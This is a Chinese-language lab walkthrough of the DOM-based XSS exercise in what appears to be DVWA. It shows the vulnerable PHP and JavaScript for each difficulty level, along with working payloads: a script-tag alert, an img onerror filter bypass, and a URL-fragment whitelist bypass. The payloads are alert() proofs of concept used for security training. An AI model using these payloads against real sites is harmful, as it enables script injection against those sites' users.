XSS(DOM)是一种基于DOM树的一种代码注入攻击方式,可以是反射型的,也可以是存储型的,所以它一直被划分第三种XSS
与前两种XSS相比,它最大的特点就是不与后台服务器交互,只是通过浏览器的DOM树解析产生
除了js,flash等脚本语言也有可能存在XSS漏洞
关于DOM,墙裂推荐《JavaScriptDOM编程艺术》,写得真的很好
下面直接开始实践吧!(所有攻击都在火狐浏览器下进行的,谷歌做了XSS filter好烦、、、)
Low:
作者太皮了,居然没有做任何的防护和过滤
Payload:?default=<script>alert("You have been hacked!");</script>
Medium:
PHP脚本代码:
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags if (stripos ($default, "<script") !== false) { header ("location: ?default=English"); exit; } } ?>
前端代码:
<form name="XSS" method="GET"> <select name="default"> <script> if (document.location.href.indexOf("default=") >= 0) { var lang = document.location.href.substring(document.location.href.indexOf("default=")+8); document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>"); document.write("<option value='' disabled='disabled'>----</option>"); } document.write("<option value='English'>English</option>"); document.write("<option value='French'>French</option>"); document.write("<option value='Spanish'>Spanish</option>"); document.write("<option value='German'>German</option>"); </script> </select> <input type="submit" value="Select" /> </form>
此时作者对"<script>"标签做了过滤,只能尝试其他的标签了,比如<img>的onerror属性,即img引用出错时会执行onerror中的内容
Payload:?default=English>/option></select><img src='x' onerror='alert(1)'>
注意要闭合了前面的标签,当然了,也可以URL编码之后在GET上去。
High:
<?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; } } ?>
URL中#号之后的内容,不会被提交到服务器,可以直接与浏览器进行交互
Payload:?default=English#<script>alert(1)</script>
Impossbile:
作者太皮了,居然只告诉我了这一句话:# Don't need to do anything, protction handled on the client side